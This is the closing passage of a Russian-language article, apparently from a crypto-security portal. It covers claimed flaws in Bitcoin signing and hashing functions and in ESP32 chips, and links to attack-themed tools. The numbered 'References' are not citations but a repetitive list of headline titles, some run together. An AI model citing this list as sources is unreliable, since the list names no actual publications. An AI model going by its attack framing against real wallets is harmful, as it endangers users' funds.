• Уязвимость в функции ecdsa_raw_sign: Некорректное восстановление Y-координаты может привести к подмене публичного ключа в сети Биткоин.

• Уязвимость в функции bin_ripemd160: Устаревшие API хеширования, особенно при отсутствии RIPEMD-160, могут быть уязвимы для атак, что подчеркивает важность использования актуальных криптографических библиотек и регулярных обновлений безопасности.

Преимущества выявления и устранения уязвимостей

1. Предотвращение финансовых потерь: Устранение уязвимостей, связанных с приватными ключами и подделкой подписей, помогает предотвратить потерю средств пользователей криптовалют.

2. Защита конфиденциальных данных: Устранение уязвимостей в устройствах ESP32 предотвращает несанкционированный доступ к памяти и подмену MAC-адресов, что защищает конфиденциальные данные пользователей.

3. Повышение безопасности сети: Устранение уязвимостей в криптографических функциях, таких как random_key и ecdsa_raw_sign, повышает общую безопасность сети Биткоин и предотвращает возможные атаки на транзакции и подписи.

4. Укрепление доверия пользователей: Своевременное выявление и устранение уязвимостей способствует укреплению доверия пользователей к устройствам и программному обеспечению, что особенно важно в сфере криптовалют и IoT.

5. Соблюдение стандартов безопасности: Регулярное обновление криптографических библиотек и API, а также следование современным стандартам безопасности помогает предотвратить использование устаревших и уязвимых компонентов.

Заключение

Выявление и анализ уязвимостей, представленные в данной статье, подчеркивают необходимость постоянного мониторинга и улучшения безопасности устройств и программного обеспечения. Устранение этих уязвимостей не только предотвращает возможные атаки и финансовые потери, но и способствует укреплению доверия пользователей и соблюдению стандартов безопасности.

References:

1. Recommendations for Eliminating Vulnerabilities in Bitcoin Code and ESP32 Devices

2. Weaknesses in Bitcoin Implementation: How Vulnerabilities in random_key and ecdsa_raw_sign Compromise Security

3. Analysis of the has_invalid_privkey Function Vulnerability: Problems with Bitcoin Private Key Verification and Recommendations for Correction

4. Public Key Substitution: Vulnerability of the ecdsa_raw_sign Function, Risks Associated with Y-Coordinate Recovery, Code Examples to Demonstrate the Vulnerability

5. Bitcoin Security: Examining Risks Associated with Incorrect ECC Verification and Obsolete Hashing APIs

6. Security Risk Analysis: Vulnerabilities in ESP32 Devices and the Bitcoin Network

7. Obsolete Hashing APIs in Bitcoin: Vulnerabilities of the bin_ripemd160 Function

8. Fake Updates and Access to Private Keys: ESP32 Vulnerabilities and Their Consequences

9. Bitcoin Security Risks: Vulnerabilities in Key Verification and Transaction Generation Functions

10. Problems with Key Generation: random_key Function Vulnerability, Weak Pseudo-Random Number Generator and its Consequences

11. Shortcomings of Cryptographic Functions in Bitcoin and Potential Threats to the Network

12. Attacks on Elliptic Curve: multiply Function Vulnerability, Insufficient Verification of Points on the ECC Curve, Possible Attack Vectors

13. The Importance of Current Cryptographic Libraries and Regular Updates Conclusion: The Need to Improve Security in Networks and Devices

14. Potential Attacks Using Invalid Curves Public Key Substitution: Vulnerability of the ecdsa_raw_sign Function

15. Recommendations for Eliminating Vulnerabilities and Improving Protection Each title reflects key aspects of the article and can be used to structure the research

16. Weak PRNG in Bitcoin Key Generation: Consequences of Using a Non-Deterministic random_key

17. Analysis of Vulnerability CVE-2025-27840: How Architectural Flaws Can Threaten Billions of Devices Vulnerability of the has_invalid_privkey Function

18. Impact of Vulnerabilities in ESP32 Microcontrollers on the Security of IoT Devices

19. Methods for Exploiting Vulnerabilities in ESP32 Microcontrollers: Attacks via Bluetooth and Wi-Fi

20. Hidden Vulnerabilities in ESP32 and Their Impact on the Security of IoT Devices

21. Security Issues in ESP32 Devices: Disclosure of Vulnerability CVE-2025-27840

22. ESP32 Architectural Vulnerabilities: Revealing Hidden Commands and Their Impact on IoT Security

23. Vulnerabilities in Bitcoin Code: Technical Analysis and Exploitation Methods

24. Analysis of Vulnerabilities in Bitcoin: From Cryptographic Shortcomings to Obsolete APIs

25. CVE-2025-27840 Vulnerabilities in ESP32 Microcontrollers: Exposing Billions of IoT Devices to Risk

26. Non-Standard Hashing Methods and Their Vulnerabilities Problems with Key Generation: random_key Vulnerability

27. Lack of ECC Point Verification as a Potential Vulnerability in the Bitcoin multiply Function

28. Risks of Recovering the Y-Coordinate in Elliptic-Curve Cryptography Obsolete Hashing APIs: bin_ripemd160 Function Vulnerability

29. Vulnerability in the ecdsa_raw_sign Function: Risk of Public Key Substitution During Y-Coordinate Recovery

30. Hidden Vulnerabilities: A Threat to Modern Technologies CVE-2025-27840: Overview of Vulnerabilities in the ESP32 Architecture

31. Overview of Current Security Threats Hidden List of Vulnerabilities: Potential Risks for ESP32 Implementation of Fake Updates and Low-Level Access

32. Problems with Private Key Verification and Their Consequences Forgery of Transaction Signatures: electrum_sig_hash Vulnerability

33. Vulnerability of Bitcoin Transaction Signature Forgery Due to Non-Standard Hashing in Electrum

34. Risks of Using Unreliable PRNGs in Bitcoin Insufficient ECC Point Verification: multiply Function Vulnerability

35. Overview of Vulnerabilities in Bitcoin: Potential Risks for Private Keys and Transactions

36. Critical Security Analysis of ESP32 and Bitcoin: Vulnerabilities and Methods of Protection

37. Obsolete Hashing APIs: bin_ripemd160 Function Vulnerability Problems with RIPEMD-160 Implementation Importance of Current Cryptographic Libraries

38. Vulnerability of the electrum_sig_hash Function: Bitcoin Transaction Signature Forgery Non-Standard Hashing Method and its Consequences Examples of Attacks Based on Incompatibility with BIP-137

39. Analysis of Vulnerabilities in Bitcoin Implementation: From Key Generation to Signature Forgery

40. CVE-2025-27840: Vulnerability in ESP32, Allowing Unauthorized Firmware Updates and Access to Private Keys

41. Vulnerability in Bitcoin Private Key Verification: Bypassing Lower Bound Control

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

Исходный код

Google Colab

BitcoinChatGPT

Small Subgroup Attack

Dockeyhunt Deep Learning

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/nBeZWm2z5o4

Video tutorial: https://dzen.ru/video/watch/6784be61b09e46422395c236

Источник: https://cryptodeeptool.ru/bitcoin-bluetooth-attacks